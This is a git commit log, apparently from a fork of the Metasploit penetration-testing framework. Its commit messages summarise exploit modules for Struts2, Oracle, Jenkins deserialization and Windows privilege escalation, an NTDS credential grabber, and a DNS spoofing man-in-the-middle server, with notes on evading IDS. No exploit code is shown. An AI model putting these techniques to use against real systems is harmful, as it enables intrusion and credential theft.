2017-09-24 16:37:30 -05:00
Josh Hale
23e1b5b872
Add search term support
2017-09-24 16:25:27 -05:00
Josh Hale
664fd1f7e3
Support single file path
2017-09-24 16:13:26 -05:00
Josh Hale
9f0ff3f3a3
Add in sort and order options
2017-09-23 23:14:21 -05:00
Josh Hale
2068514800
Add initial lls command
2017-09-23 21:38:53 -05:00
James Barnett
ee3e354f4f
Get posting working with loot -a
2017-09-22 16:13:58 -05:00
James Barnett
40abbccb03
Merge remote-tracking branch 'rapid7/master' into proxy_loot
2017-09-22 14:10:02 -05:00
James Barnett
f87adf53c6
Print host with loot output
2017-09-22 13:06:44 -05:00
James Barnett
812ad9f9cb
loot printing (maybe) working
2017-09-21 15:20:49 -05:00
James Barnett
9f95f88035
Fix a couple of bugs.
2017-09-19 16:35:18 -05:00
James Barnett
765ea01e9f
loot posting working
2017-09-18 15:58:40 -05:00
christopher lee
2cd9649139
Added msf red connection mechanism
2017-09-14 12:57:03 -05:00
christopher lee
000f561d6f
Added session data export
2017-09-08 11:09:15 -05:00
xfer0
4abac4854a
Update struts2_code_exec_showcase.rb
...
Update module to properly display command output
2017-09-07 12:19:53 -04:00
Kirk Swidowski
2ee94ca3d9
made changes based on PR feedback.
2017-09-01 16:49:17 -07:00
Kirk Swidowski
b7fc990d17
moved project to the source directory.
2017-09-01 16:09:53 -07:00
Moshe Kaplan
9815c6b91d
Create oracle_index_privesc.md
2017-08-30 13:23:08 -04:00
christopher lee
c09796ea7e
Merge master
2017-08-23 11:37:04 -05:00
Kirk R. Swidowski
cad266d469
added source code for CVE-2016-0040
2017-08-11 15:54:01 -04:00
Moshe Kaplan
6b84c92056
Add Litchfield as author and use C-style operator
2017-08-07 14:20:22 -04:00
Moshe Kaplan
0d23a5001c
Convert to Unix-style EOL
2017-08-07 09:11:58 -04:00
Moshe Kaplan
f7c95d4b1a
Add Oracle DB Priv Esc via function-based index ( #1 )
...
Adds a Metasploit module for escalating an Oracle DB user to DBA
through abusing index privileges to create a function-based index
that runs with the privileges of the table owner, instead of the
user who created the index.
This module was tested on Oracle Database 11g Express Edition
Release 11.2.0.2.0 - 64 bit Production.
A user can query for their privileges with the following:
SELECT * FROM session_privs
The user will need to disconnect and reconnect after running
the exploit to access their new privileges.
2017-08-06 23:07:46 -04:00
Kirk R. Swidowski
e8473ab92c
fixed reference url.
2017-08-03 19:48:25 -04:00
Kirk R. Swidowski
e4afdcf1a5
fixed warnings.
2017-08-03 19:27:01 -04:00
Kirk R. Swidowski
33d3fd20a1
added CVE-2016-0040 privilege escalation exploit.
2017-08-03 19:12:32 -04:00
Pedro Ribeiro
6a1bf4b38f
Merge pull request #39 from rapid7/master
...
aaa
2017-08-01 12:24:42 +01:00
xfer0
968fc45b11
Update struts2_code_exec_showcase.rb
...
Remove debug code
2017-07-22 11:57:03 -04:00
xfer0
034736019b
Update struts2_code_exec_showcase.rb
...
Add additional references
2017-07-17 14:20:11 -04:00
xfer0
b0a95c8455
Update struts2_code_exec_showcase.rb
...
Update method check with new OGNL expression
2017-07-16 21:30:07 -04:00
xfer0
0be6ce30e8
Update struts2_code_exec_showcase.rb
...
Add datastore option POSTPARAM
2017-07-16 12:28:24 -04:00
xfer0
ffbc12d404
Update struts2_code_exec_showcase.rb
...
Update to ARCH_CMD module
2017-07-15 23:33:01 -04:00
xfer0
c7fcdceb56
Update struts2_code_exec_showcase.rb
...
Remote trailing whitespaces
2017-07-15 21:37:38 -04:00
xfer0
27d2d7e31f
Update struts2_code_exec_showcase.rb
...
Update Authors
2017-07-15 21:27:50 -04:00
xfer0
d5ba6ea157
Update struts2_code_exec_showcase.rb
...
Remove trailing whitespace
2017-07-15 19:52:29 -04:00
xfer0
60af2c8a7b
Update struts2_code_exec_showcase.rb
...
Remove trailing whitespace
2017-07-15 19:34:44 -04:00
xfer0
6af2192f39
Update struts2_code_exec_showcase.rb
...
Add Author credit
2017-07-15 19:25:07 -04:00
xfer0
0c52f0cb55
Update struts2_code_exec_showcase.rb
...
Remove trailing spaces
2017-07-15 17:48:34 -04:00
xfer0
3d9d1e49fa
Update struts2_code_exec_showcase.rb
...
Add vuln check
2017-07-15 17:18:11 -04:00
xfer0
c3e07e0770
Create struts2_code_exec_showcase.rb
...
Add module for CVE-2017-9791
2017-07-15 16:55:47 -04:00
christopher lee
53530b358b
Bug fixes
2017-07-13 10:46:54 -05:00
christopher lee
b81e9a4d2a
Pass 1: externalize database
2017-07-07 13:33:42 -05:00
RageLtMan
f76adf6a62
Update Gemfile.lock with rex-socket bump
...
Rex' sockets gem now includes the methods used in this PR for
determining if a string represents an IP address, whether it's v4
or 6.
Bump the version contained in Gemfile.lock to permit more testing
2017-06-25 14:06:57 -04:00
RageLtMan
7cc7fe71db
Address net-dns additional records empty array
...
Conversion between packet formats can create empty additional
answers fields, which net-dns cannot handle.
Update net-dns' packet parser to be able to deal with empty arrays
such that it doesn't try to call :data on a nil, which is the only
element of an empty array.
Props to mubix for identifying this issues.
2017-06-24 20:27:19 -04:00
RageLtMan
e1e159fa2d
DNS spoofer - capture BRE block
2017-06-23 19:59:02 -04:00
RageLtMan
1a253f92a1
Finalize DNS spoofing module
...
DNS spoofing module should be feature complete, with forwarding of
requests which do not have cached answers (can be disabled same as
the native server module), empty replies to reduce client wait on
outstanding DNS requests, and post-send output in verbose mode
to reduce garbage and execution time in the critical/racy path.
This module is best used in conditions where MITM is achieved by
way of MAC spoofing, route interception, or compromise of an inline
host on the datapath. The attacker should avoid forwarding
original requests to the intended destination, or if this is not
possible, prevent replies from traversing the MITM space in order
to avoid race conditions between the spoofer and victim.
Example iptables configuration on MITM host:
iptables -t nat -A POSTROUTING -o eth0 -p udp ! --dport 53 -j ...
Testing:
Internal testing in Virtualbox local network, atop 802.11, and
mostly in Neutron (with port security disabled on the VIFs) atop
OpenStack Liberty ML2+OVS.
2017-06-23 19:59:02 -04:00
RageLtMan
c6c104d370
Performance and entropy improvement
...
Move all output lines out of the execution path in order to reduce
execution time and help win the race against the real response.
Update the IP header ID for responses so as not to return the sent
header value on the wire and alert clever IDS.
2017-06-23 19:59:02 -04:00
RageLtMan
deef4a94fe
Allow DNS::Server::Cache to find '*' names
...
Allow retrieval of '*' from stored static entries for spoofing
all domains to any IP using wildcard names. Replace the wildcard
response with the name submitted to the search in the response.
Fix improper checks in DNS::Packet for Resolv objects from decode
to encode.
Misc cleanup for records not responding to :address, convenience
methods, and packet structure.
2017-06-23 19:59:01 -04:00
RageLtMan
07dd59fb85
Import native DNS spoofing module and cleanup
...
Import PCAP-based DNS spoofing server module:
This module uses the Capture mixin to sniff and parse packets off
the wire, then match answers to sniffed requests from static
entries in the server's cache. If answers are found, they are
appended to a cloned packet with reverse saddr/daddr pairs at
layers 2-4, the qr bit is set, and it is injected back into the
interface from where it came.
Minor cleanup in the Rex::Proto::DNS::Server::Cache class to allow
multiple address->name pairs and fix issues when adding multiple
static entries.
2017-06-23 19:58:43 -04:00
RageLtMan
f24448c73a
Add :client accessor to Remote::DNS::Client
...
Add convenience method for using the @dns_resolver instance var
via call to :client, which also performs resolver setup if none
exists when called.
2017-06-23 19:58:42 -04:00
RageLtMan
b60990c19c
Use a MockDnsClient object for request state
...
In order to handle TCP and UDP clients in a common manner, the
DNS server created a Rex::Socket::Udp object to represent the
client object allowing for a client.write(response) approach to
returning results for both TCP and UDP clients. During work on
the common socket abstractions (#6692 ) it became apparent that
remote pivoted sockets cannot be created with the same exact param
set used on the server socket - sockets dont reuse with localhost
and localport params being the same, an exception is raised from
the Windows side of the pivot abstraction. Creating a new socket
for every request is also needless overhead and noise.
Create the MockDnsClient class to consume peerhost, peerport, and
the DNS server's UDP socket as arguments in order to execute a
sendto() from the existing socket when sending a response. A write
method is provided in the class for common interface between the
UDP and TCP request handlers.
This has been tested in conjunction with #6692 and shown to be
successful as serving remote requests from the IO.select polled
pivot socket running on a Windows host via Meterpreter.
2017-06-23 19:58:42 -04:00
RageLtMan
fec23cf0fd
Remove setsockopt calls from DNS server
2017-06-23 19:58:42 -04:00
RageLtMan
fd6da21560
Update class name for CI, again
2017-06-23 19:58:41 -04:00
RageLtMan
c442ad2ee5
Update class name for CI
2017-06-23 19:58:41 -04:00
RageLtMan
dafadb94ff
Address Egypt's GH comments
...
Remove redundant convenience accessors.
Clean up conditional logic.
Use Egypt's clean process_nameservers method.
2017-06-23 19:58:40 -04:00
RageLtMan
d64962994c
Packet.valid_hostname? should be a class method
2017-06-23 19:58:40 -04:00
RageLtMan
a555ee716e
Fix typo in Rex DNS Server
2017-06-23 19:58:40 -04:00
RageLtMan
e86ca56dd1
add :closed? method to Meterpreter Channel
...
Implement a check for self.cid.nil? in Meterpreter's Channel class
in the :closed? method for compatibility with the Socket's :closed?
Touch up the Rex DNS server's stop method using this method on
pivot sockets.
Add SOL_SOCKET and SO_REUSEADDR options to the Rex UDP sockets
created by the DNS components - the server socket, as well as the
client abstraction socket.
2017-06-23 19:58:39 -04:00
RageLtMan
570987aecd
Missing lines from Proto::DNS::Packet
2017-06-23 19:58:39 -04:00
RageLtMan
820a07d8b4
Update native dns server auxiliary module
...
Check request for recursion bit prior to forwarding
Use Packet.generate_response to build final client response.
2017-06-23 19:58:39 -04:00
RageLtMan
00611e97fb
Rex::Proto::DNS::Packet generate req/resp
...
Create default generator methods for DNS request and response in
the Packet module.
Packet.generate_request is directly adapted from
Net::DNS::Resolver.make_query_packet with conveniences added from
the local namespace.
Packet.generate_response is a convenience wrapper for attaching
responses to request, flipping the qr bit, and adjusting the rCode
for NXDomain or NoError depending on whether the response has any
answers or not. Existing responses being passed into this method
with new answers or an empty array will have their rCode updated
accordingly for NoError and NXDomain.
Clean up Rex::Proto::DNS::Server by use of the convenience method
and removal of the :validate method (as its now in Packet).
Add Packet.valid_hostname? as a wrapper for matching against the
Rex::Proto::DNS::Constants::MATCH_HOSTNAME regex.
2017-06-23 19:58:38 -04:00
RageLtMan
3b7c1955c8
Rex::Proto::DNS::Packet::Raw convenience methods
...
Add convenience methods for little and big endian operations on
DNS packet contents. Use the convenience methods for quick ID
and request length extraction without full packet parsing.
2017-06-23 19:58:38 -04:00
RageLtMan
de0867aaba
Address wchen-r7's initial comments
...
Advanced options are now camel cased
Use :blank? on datastore options instead of serial checks for :nil?
and :empty?
Rex::Proto::DNS::Server :on_client_data updated to ask the tcp_sock
to close this client if it exists in the rescue clause.
2017-06-23 19:58:38 -04:00
RageLtMan
2347c8df99
Create basic packet manipulation modules
...
Create Rex::Proto::DNS::Packet and Packet::Raw to allow common
parsing, validation, and raw data operations across both Rex and
Msf namespaces.
The modules contain class methods and do not need to be mixed in
to use their functionality Packet.method is enough, and reduces GC
strain since new objects are not constantly being instantiated, and
these modules contain no internal state.
Clean up UDP socket leak from Rex::Proto::DNS::Server under certain
conditions.
Create Msf::Exploit::DNS::Common mixin to provide descendants with
access to Packet and the hostname Regex.
-----
Testing:
Tested running the RC provided in the pull request
Manual testing in IRB/Pry while porting PoC for CVE-2015-7547
2017-06-23 19:58:37 -04:00
RageLtMan
2679c26e88
Create and implement Rex::IO::GramServer mixin
...
Rex::IO::StreamServer provides consistent methods and accessors
for TcpServer type consumers, but includes logic for client actions
which are not relevant in a datagram context - connect and
disconnect actions, as well as any notion of stateful session
persistence (the clients queue) do not apply in this paradigm.
Implement a Rex::IO::GramServer mixin which provides common methods
for dispatching requests and sending responses. Defines the same
callback structure for procs as used in the StreamServer, though
utilizing dispatch_request_proc and send_response_proc with client
and data parameters for efficient interception of execution flow
when dealing with stateless comms.
Rewire Rex::Proto::DNS server to use instance variables along the
same convention as other modules, implement the GramServer mixin,
and minor misc cleanup.
-----
Change calling conventions in Rex::Proto::DNS::Server to match
other components.
Clean up the Msf::Exploit::DNS namespace with generic server
interfaces.
Fix the advanged options naming convention - as hdm pointed out,
evasion options use the '::' separator, advanced options use "_".
-----
Testing:
Basic functional tests in Pry for now.
2017-06-23 19:58:37 -04:00
RageLtMan
8f9d98775b
Export common socket functionality from TcpServer
...
Exploit::Remote::TcpServer contains functionality required by the
hybrid Udp/Tcp Exploit::Remote::DNS::Server. In order to avoid
having to maintain a set of compatible methods across the transport
implementations, create a new mixin "above" the TcpServer to handle
common socket operations - Exploit::Remote::SocketServer.
Copy Exploit::Remote::TcpServer to Exploit::Remote::SocketServer.
Remove common code from Exploit::Remote::TcpServer, remove TCP/SSL
specific code from Exploit::Remote::SocketServer. Require and
include Exploit::Remote::SocketServer in Exploit::Remote::TcpServer
Testing:
Basic testing using the telnet capture server which utilzies the
modified Exploit::Remote::TcpServer mixin:
```
use auxiliary/server/capture/telnet
(2016-02-28)15:23 (S:0 J:0)msf auxiliary(telnet) > exploit
[*] Auxiliary module execution completed
(2016-02-28)15:23 (S:0 J:1)msf auxiliary(telnet) >
[*] [2016.02.28-15:23:39] Listening on 0.0.0.0:23...
[*] [2016.02.28-15:23:39] Server started.
[*] [2016.02.28-15:23:48] TELNET LOGIN 127.0.0.1:60408 jack / jill
Interrupt: use the 'exit' command to quit
```
2017-06-23 19:58:37 -04:00
RageLtMan
a9f1fcec7f
Set resolver comm and ctx manually
2017-06-23 19:58:36 -04:00
RageLtMan
0e5ec4c646
Fix processing of static hosts in Msf...Server
...
The add_static_hosts method used old interfaces and had not been
tested prior.
Address the interfaces, functionally check the logic, and add the
method into start_service to automatically process the static
hosts entries set in the DS.
2017-06-23 19:58:36 -04:00
RageLtMan
15f585426b
Add sample Procs to native_server module
...
Add examples of request and response handlers to the native_server
module to show local level accessors handling the same functions
as the Rex::Proto::DNS::Server's own default_dispatch_request.
This version swaps the forwarded response if its available for the
request modification done internally (which should probably be
addressed via a Util mixin for packet generation/alteration).
2017-06-23 19:58:36 -04:00
RageLtMan
60ae0e58b3
Remove disclosure date from module
2017-06-23 19:58:35 -04:00
RageLtMan
2f0003b5bd
Implement native DNS for Msf Namespace
...
Built atop the Rex::Proto::DNS work to implement mixins for client
and server functionality, providing common interfaces for querying
domain name servers, and providing domain name services to clients
across Rex sockets. Fully functional native DNS server module is
included to demonstrate functionality, serve as a spoofing DNS
server, a collecting proxy, or any other number of DNS functions.
-----
At the core of this work is a Rex::Proto::DNS::Resolver object
descended from Net::DNS::Resolver with overrides and alterations
for using Rex sockets. The sockets implementation has been in use
internally for a number of years and is well tested. Changes have
been made to provider better interface for higher level components.
The resolver provides forward lookup capability for the server
(Rex::Proto::DNS::Server) which also implements a self-pruning
Cache subclass capable of holding static entries. The server can
operate in TCP or UDP mode, and provides a common abstraction for
addressing TCP and UDP clients by passing a Rex::Socket::Udp
mock client around with the data object to higher level consumers.
Finally, as is standard practice when building full service objects
from Rex to Msf, the server allows consumers to efficiently take
execution control at the request and response handlers by passing
Procs into the constructor (or manually assigning at runtime) for
execution instead of the default call chain.
The service, lookup, and caching functionality is encapsulated and
stands on its own to be used by consumers other than the standard
Msf::Exploit::Remote namespaces. It is intended to serve as the
driver and transport handler for pending DNS tunnel transports,
and can be used by exploit and auxiliary modules directly.
-----
The Msf::Exploit::Remote namespace receives DNS, DNS::Client, and
DNS::Server mixins providing common interfaces for Rex::Proto::DNS
objects. These mixins create convenience methods for executing
queries, serving requests, and configuring the Rex providers.
DNS::Client mixin attempts to "intelligently" configure the client
resolver's name servers and options from the data store. Accessor,
query, and configuration methods are provided in this mixin. Of
note are the wildcard and switchdns methods which were adapted
from prior work by others (likely Carlos Perez) which can be used
by numerous consumer modules. Consumers should use setup_client
during their run call to ensure the resolver is appropriately
configured.
DNS::Server mixin creates common service wrappers for modules to
utilize along with a configuration mechanism analagous to the
one used by the Client mixin, called setup_server, and calling
the setup_client method if present. Note that when setup_server
is called, the consumer does not need to call setup_resolver.
------
At the framework module level, a native dns server is provided
to showcase the mixin functionality and provide everything from
normal DNS services, to tunneling proxies (with cache disabled),
spoofing services, and MITM functionality via the handler Procs
for requests and responses.
Use auxiliary/server/dns/native_server to get started.
-----
Testing:
Basic local testing completed.
Needs to be checked for info leaks - we used to leak a lot.
Needs to be checked for functionality under varying configs.
Notes:
We have a serious problem with the datastore somewhere in the
Msf namespace. Datastore options must be validated with
options.validate(datastore) or they are all Strings, which
completely destroys any type-dependent logic consuming
datastore values. This must be addressed separately and all
calls to options.validate(datastore) should be removed (other
work has included such calls as well, this just proved that
the problem exists upstream).
Future work:
Implement sessions transports atop the DNS infrastructure in
order to provide native DNS tunneling.
2017-06-23 19:58:35 -04:00
RageLtMan
b5c89c4ffe
Server::Cache.cache_record graceful failure
...
Bail out early unless the monitor thread is running since pruning
will not automatically occur. Continue to raise an exception when
invalid cache attempts are made. If this behavior is not desired,
override the method or create a descendant with altered behavior.
2017-06-23 19:58:35 -04:00
RageLtMan
4467cef902
Allow Server to start without caching
2017-06-23 19:58:34 -04:00
RageLtMan
3afc5d2da1
Add running? check to Server
2017-06-23 19:58:34 -04:00
RageLtMan
7b370622c4
Resolver - add accessors for comm and ctx
2017-06-23 19:58:34 -04:00
RageLtMan
332862bfea
Server needs a resolver to perform fwd lookups
...
Dont send requests to a nil object for lookups, it's not very good
at that.
2017-06-23 19:58:33 -04:00
RageLtMan
b1b43555cf
Fixup Resolver socket creation slop
2017-06-23 19:58:33 -04:00
RageLtMan
6e86ac6e1b
Tweak Server and Resolver
...
Create default_dispatch_request method in Server to allow an
intercepted dispatch request to fall back into default exec flow.
Add attr_reader to the records hash in Cache
Provide Resolver and Server with comm option for their sockets.
2017-06-23 19:58:33 -04:00
RageLtMan
e3c372834e
Update Resolver's use of Rex Sockets
...
Compose configuration hashes for the Rex Sockets used in requests
based on the Resolver's own configuration, including passing the
Framework context, and CHOST/CPORT options in from Msf namespaces.
2017-06-23 19:58:32 -04:00
RageLtMan
a8c3adf19c
Move recursion bit logic into the fwd lookup
2017-06-23 19:58:32 -04:00
RageLtMan
136cc964f5
Accessors, cache stop lock fix, and resp header
...
Missed the attr_accessors in first commit - added.
Updated Cache stop method to iterate over the resulting Array of
records without holding a write lock over it (:each vs :map).
Glanced over https://www.ietf.org/rfc/rfc1035.txt and set proper
bits for the response and recursion fields prior to passing off the
data for return.
TODO:
Write mixin for easier packet manipulation with configurable
response builders which can determine proper settings for header
fields based on server/resolver configuration. Document to allow
exploit/vector developers to make use of the functionality...
2017-06-23 19:58:32 -04:00
RageLtMan
9f49903b14
Initial implementation of Rex::Proto::DNS
...
Add Rex::Proto::DNS and Rex::Proto::DNS::Constants namespaces
Create Rex::Proto::DNS::Resolver from Net::DNS::Resolver
Create Rex::Proto::DNS::Server and Rex::Proto::DNS::Server::Cache
Constants -
A Rex::Socket style MATCH_HOSTNAME regex has been added to
help validate DNS names.
Resolver -
Based off of old work creating Rex socket overrides in the
Net::DNS::Resolver as well as allowing for proxying and making
automatic adjustments to use TCP for proxied connections. This
resolver pivots with MSF, uses proxies, and doesnt pull in the
default /etc/resolv.conf information which can lead to info leak.
Automatically sends Net::DNS::Packet and Resolv::DNS::Message
objects to the appropriate nameservers.
TODO: Review for potential low level concurrent resolution impl.
Server::Cache -
Threadsafe wrapper around a Hash which holds Net::DNS::RR keys
with Time.to_i values for counting eviction/stale time without
altering the original record.
Takes records with a TTL of < 1 as static entries which are not
flushed or pruned by the monitor thread.
Server -
A standard Rex level server allowing for client connections with
TCP and UDP listeners. Provides common framework for handling the
different transports by creating a "client" type object as a Rex
UDP socket and passing it back to the dispatch/sender methods.
This server can host listeners on remote pivot targets since it
utilizes Rex sockets, and should not leak internal information
from the resolver as easily either.
Can be configured with a custom resolver regardless of its own
listener configuration (UDP/TCP mix is fine), and carries a
threadsafe wrapper for swapping the resolvers nameservers under
a Mutex.synchronize. Since listeners and resolvers can pivot,
a compromised host in one environment can serve DNS information
obtained by the resolver pivoting through a completely different
target.
The server takes blocks for dispatch and send functions which
when defined, will intercept the standard execution flow which is
to parse the request, check the cache for corresponding records,
then forward the remaining questions in a request via the resolver,
and build + send a response back to the client.
The accessors for dispatch and send, resolver, and cache are
accessible at runtime, though it is likely unsafe to replace the
cache and resolver while they are accessed from other threads.
-----
Testing:
Initial testing performed in IRB/Pry generating manual requests.
Subsequent checks performed using the running server as the sys
resolver.
Additional testing is needed - the default dispatch_request
behavior may not be correct (i need to check the RFCs for this) as
it handles multiple questions for A records. This should be tuned
to be RFC compliant, with inheriting classes changing behavior as
needed. We also need to ensure that we're not leaking our own DNS
information to our targets, so all sorts of abuse is in order.
-----
TODO:
Create Msf::Exploit::DNS namespace utilizing this functionality.
- Move the threaded enum_dns work, as well as work from 6187,
into the namespace
- Review existing modules for functional overlap and move here
as needed. This should be done in separate commits/PRs.
Create specific DNS servers for spoofing, exploit delivery, and
finally handling DNS tunnels (the primary reason for this work).
Write spec
- Convince/coerce a friendly soul in the community to handle
spec for this fiasco while building further functionality.
2017-06-23 19:58:29 -04:00
Jeffrey Martin
eaca873112
refactor auxiliary/admin/http credential storage
2017-06-21 10:14:45 -05:00
Brendan Coles
f326014483
Add documentation
2017-06-10 09:01:20 +00:00
Brendan Coles
6a4c61456d
Add ProcessMaker Plugin Upload exploit module
2017-06-10 08:59:20 +00:00
h00die
ba4edfbd38
varnish file read
2017-04-08 09:15:07 -04:00
Koen Riepe
437d9b6f02
Fixed newline error in powershell script.
2017-04-05 12:38:38 +02:00
Koen Riepe
8958ac0247
Fixed styling of the module and added documentation.
2017-04-05 12:36:02 +02:00
Koen Riepe
2fb42ff019
Fixed an issue in the powershell script
2017-03-07 13:56:18 +01:00
Pedro Ribeiro
ec97d323a5
Merge pull request #38 from rapid7/master
...
sdsd
2017-02-24 22:48:08 +00:00
Koen Riepe
0fa0fe3bf8
Added NTDSgrab module to metasploit.
2017-02-24 10:15:13 +01:00
notivan
6764bdb36f
Fix Jenkins Ldap Deserialization Remote Use
...
It appears the original exploit had been deliberately sabotaged to not work remotely. We have fixed this egregious error.
2017-02-14 17:05:25 +00:00
Pedro Ribeiro
bc9c96e3dd
Merge pull request #37 from rapid7/master
...
update
2017-02-01 00:44:47 +00:00
notivan
cc3e2082a2
Module documentation for jenkins_ldap_deserialize
2017-01-18 23:44:32 +00:00
notivan
6c0450fe95
add check for jenkins ldap exploit
...
we just check for X-Jenkins <= 2.31. this is not completely correct because the exploit probably doesn't work on some earlier versions.
2017-01-13 12:40:33 +00:00
notivan
036328df5c
Fix msftidy issue
2017-01-12 13:26:41 +00:00
notivan
e09b7a96f1
Add YSOSerial command options
2017-01-12 13:21:58 +00:00
notivan
0b32af8d43
Remove duplicate validation
2017-01-12 09:59:55 +00:00
notivan
0a30e775d1
Fix msftidy issues
2017-01-11 23:43:01 +00:00
notivan
08690e5e11
Exploit for CVE-2016-9299 (Jenkins CLI Ldap Deser)
...
This is based on Matthias Kaiser's presentation at deepsec. We build a chain that connects back to our LDAP server and trigger it over the CLI HTTP interface. The LDAP server then serves a second chain based on YSOSerial commons-collection which triggers Runtime.exec. The second chain doesn't run with Jenkin's class filtering so succeeds.
2017-01-11 23:23:02 +00:00
Fabien
25d133cb82
Merge pull request #1 from jhart-r7/pr/fixup-5776
...
Clean-up and enhance soap_addportmapping.rb
2015-08-29 02:13:42 +02:00